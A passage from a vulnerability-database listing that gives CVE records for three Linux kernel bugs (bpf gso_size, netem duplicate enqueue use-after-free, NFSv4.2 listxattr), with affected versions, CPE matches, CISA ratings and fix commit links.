              "lessThan": "a689f5eb13a90f892a088865478b3cd39f53d5dc",
              "status": "affected",
              "version": "2be7e212d5419a400d051c84ca9fdd083e5aacac",
              "versionType": "git"
            },
            {
              "lessThan": "dda518dea60d556a2d171c0122ca7d9fdb7d473a",
              "status": "affected",
              "version": "2be7e212d5419a400d051c84ca9fdd083e5aacac",
              "versionType": "git"
            },
            {
              "lessThan": "f6bb8c90cab97a3e03f8d30e3069efe6a742e0be",
              "status": "affected",
              "version": "2be7e212d5419a400d051c84ca9fdd083e5aacac",
              "versionType": "git"
            },
            {
              "lessThan": "11ec79f5c7f74261874744039bc1551023edd6b2",
              "status": "affected",
              "version": "2be7e212d5419a400d051c84ca9fdd083e5aacac",
              "versionType": "git"
            },
            {
              "lessThan": "c3496314c53e7e82ddb544c825defc3e8c0e45cf",
              "status": "affected",
              "version": "2be7e212d5419a400d051c84ca9fdd083e5aacac",
              "versionType": "git"
            },
            {
              "lessThan": "ec4eea14d75f7b0491194dd413f540dd19b8c733",
              "status": "affected",
              "version": "2be7e212d5419a400d051c84ca9fdd083e5aacac",
              "versionType": "git"
            },
            {
              "lessThan": "fa5ef655615a01533035c6139248c5b33aa27028",
              "status": "affected",
              "version": "2be7e212d5419a400d051c84ca9fdd083e5aacac",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/filter.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.13"
            },
            {
              "lessThan": "4.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix a segment issue when downgrading gso_size\n\nLinearize the skb when downgrading gso_size because it may trigger a\nBUG_ON() later when the skb is segmented as described in [1,2]."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:19.294Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a689f5eb13a90f892a088865478b3cd39f53d5dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/dda518dea60d556a2d171c0122ca7d9fdb7d473a"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6bb8c90cab97a3e03f8d30e3069efe6a742e0be"
        },
        {
          "url": "https://git.kernel.org/stable/c/11ec79f5c7f74261874744039bc1551023edd6b2"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3496314c53e7e82ddb544c825defc3e8c0e45cf"
        },
        {
          "url": "https://git.kernel.org/stable/c/ec4eea14d75f7b0491194dd413f540dd19b8c733"
        },
        {
          "url": "https://git.kernel.org/stable/c/fa5ef655615a01533035c6139248c5b33aa27028"
        }
      ],
      "title": "bpf: Fix a segment issue when downgrading gso_size",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42281",
    "datePublished": "2024-08-17T09:08:48.477Z",
    "dateReserved": "2024-07-30T07:40:12.261Z",
    "dateUpdated": "2026-05-12T11:56:45.689Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-45016 (GCVE-0-2024-45016)

Vulnerability from cvelistv5 – Published: 2024-09-11 15:13 – Updated: 2026-05-12 11:57

Title

netem: fix return value if duplicate enqueue fails

Summary

In the Linux kernel, the following vulnerability has been resolved: netem: fix return value if duplicate enqueue fails There is a bug in netem_enqueue() introduced by commit 5845f706388a ("net: netem: fix skb length BUG_ON in __skb_to_sgvec") that can lead to a use-after-free. This commit made netem_enqueue() always return NET_XMIT_SUCCESS when a packet is duplicated, which can cause the parent qdisc's q.qlen to be mistakenly incremented. When this happens qlen_notify() may be skipped on the parent during destruction, leaving a dangling pointer for some classful qdiscs like DRR. There are two ways for the bug happen: - If the duplicated packet is dropped by rootq->enqueue() and then the original packet is also dropped. - If rootq->enqueue() sends the duplicated packet to a different qdisc and the original packet is dropped. In both cases NET_XMIT_SUCCESS is returned even though no packets are enqueued at the netem qdisc. The fix is to defer the enqueue of the duplicate packet until after the original packet has been guaranteed to return NET_XMIT_SUCCESS.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/759e3e8c4a6a6b4e5…
https://git.kernel.org/stable/c/c414000da1c2ea1ba…
https://git.kernel.org/stable/c/52d99a69f3d556c64…
https://git.kernel.org/stable/c/0486d31dd8198e22b…
https://git.kernel.org/stable/c/577d6c0619467fe90…
https://git.kernel.org/stable/c/e5bb2988a310667ab…
https://git.kernel.org/stable/c/c07ff8592d57ed258…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5845f706388a4cde0f6b80f9e5d33527e942b7d9 , < 759e3e8c4a6a6b4e52ebc4547123a457f0ce90d4 (git) Affected: 5845f706388a4cde0f6b80f9e5d33527e942b7d9 , < c414000da1c2ea1ba9a5e5bb1a4ba774e51e202d (git) Affected: 5845f706388a4cde0f6b80f9e5d33527e942b7d9 , < 52d99a69f3d556c6426048c9d481b912205919d8 (git) Affected: 5845f706388a4cde0f6b80f9e5d33527e942b7d9 , < 0486d31dd8198e22b63a4730244b38fffce6d469 (git) Affected: 5845f706388a4cde0f6b80f9e5d33527e942b7d9 , < 577d6c0619467fe90f7e8e57e45cb5bd9d936014 (git) Affected: 5845f706388a4cde0f6b80f9e5d33527e942b7d9 , < e5bb2988a310667abed66c7d3ffa28880cf0f883 (git) Affected: 5845f706388a4cde0f6b80f9e5d33527e942b7d9 , < c07ff8592d57ed258afee5a5e04991a48dbaf382 (git) Affected: a550a01b8af856f2684b0f79d552f5119eb5006c (git) Affected: 009510a90e230bb495f3fe25c7db956679263b07 (git) Affected: 4de7d30668cb8b06330992e1cd336f91700a2ce7 (git) Affected: d1dd2e15c85e890a1cc9bde5ba07ae63331e5c73 (git) Affected: 0148fe458b5705e2fea7cb88294fed7e36066ca2 (git)
Linux	Linux	Affected: 5.0 Unaffected: 0 , < 5.0 (semver) Unaffected: 5.4.283 , ≤ 5.4.* (semver) Unaffected: 5.10.225 , ≤ 5.10.* (semver) Unaffected: 5.15.166 , ≤ 5.15.* (semver) Unaffected: 6.1.107 , ≤ 6.1.* (semver) Unaffected: 6.6.48 , ≤ 6.6.* (semver) Unaffected: 6.10.7 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-45016",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T15:49:19.675501Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T15:49:33.932Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:15:21.244Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:29.260Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_netem.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "759e3e8c4a6a6b4e52ebc4547123a457f0ce90d4",
              "status": "affected",
              "version": "5845f706388a4cde0f6b80f9e5d33527e942b7d9",
              "versionType": "git"
            },
            {
              "lessThan": "c414000da1c2ea1ba9a5e5bb1a4ba774e51e202d",
              "status": "affected",
              "version": "5845f706388a4cde0f6b80f9e5d33527e942b7d9",
              "versionType": "git"
            },
            {
              "lessThan": "52d99a69f3d556c6426048c9d481b912205919d8",
              "status": "affected",
              "version": "5845f706388a4cde0f6b80f9e5d33527e942b7d9",
              "versionType": "git"
            },
            {
              "lessThan": "0486d31dd8198e22b63a4730244b38fffce6d469",
              "status": "affected",
              "version": "5845f706388a4cde0f6b80f9e5d33527e942b7d9",
              "versionType": "git"
            },
            {
              "lessThan": "577d6c0619467fe90f7e8e57e45cb5bd9d936014",
              "status": "affected",
              "version": "5845f706388a4cde0f6b80f9e5d33527e942b7d9",
              "versionType": "git"
            },
            {
              "lessThan": "e5bb2988a310667abed66c7d3ffa28880cf0f883",
              "status": "affected",
              "version": "5845f706388a4cde0f6b80f9e5d33527e942b7d9",
              "versionType": "git"
            },
            {
              "lessThan": "c07ff8592d57ed258afee5a5e04991a48dbaf382",
              "status": "affected",
              "version": "5845f706388a4cde0f6b80f9e5d33527e942b7d9",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a550a01b8af856f2684b0f79d552f5119eb5006c",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "009510a90e230bb495f3fe25c7db956679263b07",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "4de7d30668cb8b06330992e1cd336f91700a2ce7",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "d1dd2e15c85e890a1cc9bde5ba07ae63331e5c73",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "0148fe458b5705e2fea7cb88294fed7e36066ca2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_netem.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.0"
            },
            {
              "lessThan": "5.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.283",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.225",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.166",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.107",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.48",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.283",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.225",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.166",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.107",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.48",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.7",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.16.66",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.163",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.106",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.28",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.20.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetem: fix return value if duplicate enqueue fails\n\nThere is a bug in netem_enqueue() introduced by\ncommit 5845f706388a (\"net: netem: fix skb length BUG_ON in __skb_to_sgvec\")\nthat can lead to a use-after-free.\n\nThis commit made netem_enqueue() always return NET_XMIT_SUCCESS\nwhen a packet is duplicated, which can cause the parent qdisc\u0027s q.qlen\nto be mistakenly incremented. When this happens qlen_notify() may be\nskipped on the parent during destruction, leaving a dangling pointer\nfor some classful qdiscs like DRR.\n\nThere are two ways for the bug happen:\n\n- If the duplicated packet is dropped by rootq-\u003eenqueue() and then\n  the original packet is also dropped.\n- If rootq-\u003eenqueue() sends the duplicated packet to a different qdisc\n  and the original packet is dropped.\n\nIn both cases NET_XMIT_SUCCESS is returned even though no packets\nare enqueued at the netem qdisc.\n\nThe fix is to defer the enqueue of the duplicate packet until after\nthe original packet has been guaranteed to return NET_XMIT_SUCCESS."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:33:49.848Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/759e3e8c4a6a6b4e52ebc4547123a457f0ce90d4"
        },
        {
          "url": "https://git.kernel.org/stable/c/c414000da1c2ea1ba9a5e5bb1a4ba774e51e202d"
        },
        {
          "url": "https://git.kernel.org/stable/c/52d99a69f3d556c6426048c9d481b912205919d8"
        },
        {
          "url": "https://git.kernel.org/stable/c/0486d31dd8198e22b63a4730244b38fffce6d469"
        },
        {
          "url": "https://git.kernel.org/stable/c/577d6c0619467fe90f7e8e57e45cb5bd9d936014"
        },
        {
          "url": "https://git.kernel.org/stable/c/e5bb2988a310667abed66c7d3ffa28880cf0f883"
        },
        {
          "url": "https://git.kernel.org/stable/c/c07ff8592d57ed258afee5a5e04991a48dbaf382"
        }
      ],
      "title": "netem: fix return value if duplicate enqueue fails",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-45016",
    "datePublished": "2024-09-11T15:13:52.053Z",
    "dateReserved": "2024-08-21T05:34:56.682Z",
    "dateUpdated": "2026-05-12T11:57:29.260Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26870 (GCVE-0-2024-26870)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:49

Title

NFSv4.2: fix nfs4_listxattr kernel BUG at mm/usercopy.c:102

Summary

In the Linux kernel, the following vulnerability has been resolved: NFSv4.2: fix nfs4_listxattr kernel BUG at mm/usercopy.c:102 A call to listxattr() with a buffer size = 0 returns the actual size of the buffer needed for a subsequent call. When size > 0, nfs4_listxattr() does not return an error because either generic_listxattr() or nfs4_listxattr_nfs4_label() consumes exactly all the bytes then size is 0 when calling nfs4_listxattr_nfs4_user() which then triggers the following kernel BUG: [ 99.403778] kernel BUG at mm/usercopy.c:102! [ 99.404063] Internal error: Oops - BUG: 00000000f2000800 [#1] SMP [ 99.408463] CPU: 0 PID: 3310 Comm: python3 Not tainted 6.6.0-61.fc40.aarch64 #1 [ 99.415827] Call trace: [ 99.415985] usercopy_abort+0x70/0xa0 [ 99.416227] __check_heap_object+0x134/0x158 [ 99.416505] check_heap_object+0x150/0x188 [ 99.416696] __check_object_size.part.0+0x78/0x168 [ 99.416886] __check_object_size+0x28/0x40 [ 99.417078] listxattr+0x8c/0x120 [ 99.417252] path_listxattr+0x78/0xe0 [ 99.417476] __arm64_sys_listxattr+0x28/0x40 [ 99.417723] invoke_syscall+0x78/0x100 [ 99.417929] el0_svc_common.constprop.0+0x48/0xf0 [ 99.418186] do_el0_svc+0x24/0x38 [ 99.418376] el0_svc+0x3c/0x110 [ 99.418554] el0t_64_sync_handler+0x120/0x130 [ 99.418788] el0t_64_sync+0x194/0x198 [ 99.418994] Code: aa0003e3 d000a3e0 91310000 97f49bdb (d4210000) Issue is reproduced when generic_listxattr() returns 'system.nfs4_acl', thus calling lisxattr() with size = 16 will trigger the bug. Add check on nfs4_listxattr() to return ERANGE error when it is called with size > 0 and the return value is greater than size.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/4403438eaca6e91f0…
https://git.kernel.org/stable/c/9d52865ff28245fc2…
https://git.kernel.org/stable/c/06e828b3f1b206de0…
https://git.kernel.org/stable/c/79cdcc765969d23f4…
https://git.kernel.org/stable/c/80365c9f96015bbf0…
https://git.kernel.org/stable/c/23bfecb4d852751d5…
https://git.kernel.org/stable/c/251a658bbfceafb4d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 012a211abd5db098094ce429de5f046368391e68 , < 4403438eaca6e91f02d272211c4d6b045092396b (git) Affected: 012a211abd5db098094ce429de5f046368391e68 , < 9d52865ff28245fc2134da9f99baff603a24407a (git) Affected: 012a211abd5db098094ce429de5f046368391e68 , < 06e828b3f1b206de08ef520fc46a40b22e1869cb (git) Affected: 012a211abd5db098094ce429de5f046368391e68 , < 79cdcc765969d23f4e3d6ea115660c3333498768 (git) Affected: 012a211abd5db098094ce429de5f046368391e68 , < 80365c9f96015bbf048fdd6c8705d3f8770132bf (git) Affected: 012a211abd5db098094ce429de5f046368391e68 , < 23bfecb4d852751d5e403557dd500bb563313baf (git) Affected: 012a211abd5db098094ce429de5f046368391e68 , < 251a658bbfceafb4d58c76b77682c8bf7bcfad65 (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26870",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T19:56:13.503124Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:49:37.605Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:04.235Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4403438eaca6e91f02d272211c4d6b045092396b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9d52865ff28245fc2134da9f99baff603a24407a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/06e828b3f1b206de08ef520fc46a40b22e1869cb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/79cdcc765969d23f4e3d6ea115660c3333498768"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/80365c9f96015bbf048fdd6c8705d3f8770132bf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/23bfecb4d852751d5e403557dd500bb563313baf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/251a658bbfceafb4d58c76b77682c8bf7bcfad65"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:46.342Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfs/nfs4proc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4403438eaca6e91f02d272211c4d6b045092396b",
              "status": "affected",
              "version": "012a211abd5db098094ce429de5f046368391e68",
              "versionType": "git"
            },
            {
              "lessThan": "9d52865ff28245fc2134da9f99baff603a24407a",
              "status": "affected",
              "version": "012a211abd5db098094ce429de5f046368391e68",
              "versionType": "git"
            },
            {
              "lessThan": "06e828b3f1b206de08ef520fc46a40b22e1869cb",
              "status": "affected",
              "version": "012a211abd5db098094ce429de5f046368391e68",
              "versionType": "git"
            },
            {
              "lessThan": "79cdcc765969d23f4e3d6ea115660c3333498768",
              "status": "affected",
              "version": "012a211abd5db098094ce429de5f046368391e68",
              "versionType": "git"
            },
            {
              "lessThan": "80365c9f96015bbf048fdd6c8705d3f8770132bf",
              "status": "affected",
              "version": "012a211abd5db098094ce429de5f046368391e68",
              "versionType": "git"
            },
            {
              "lessThan": "23bfecb4d852751d5e403557dd500bb563313baf",
              "status": "affected",
              "version": "012a211abd5db098094ce429de5f046368391e68",
              "versionType": "git"
            },
            {
              "lessThan": "251a658bbfceafb4d58c76b77682c8bf7bcfad65",
              "status": "affected",
              "version": "012a211abd5db098094ce429de5f046368391e68",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfs/nfs4proc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
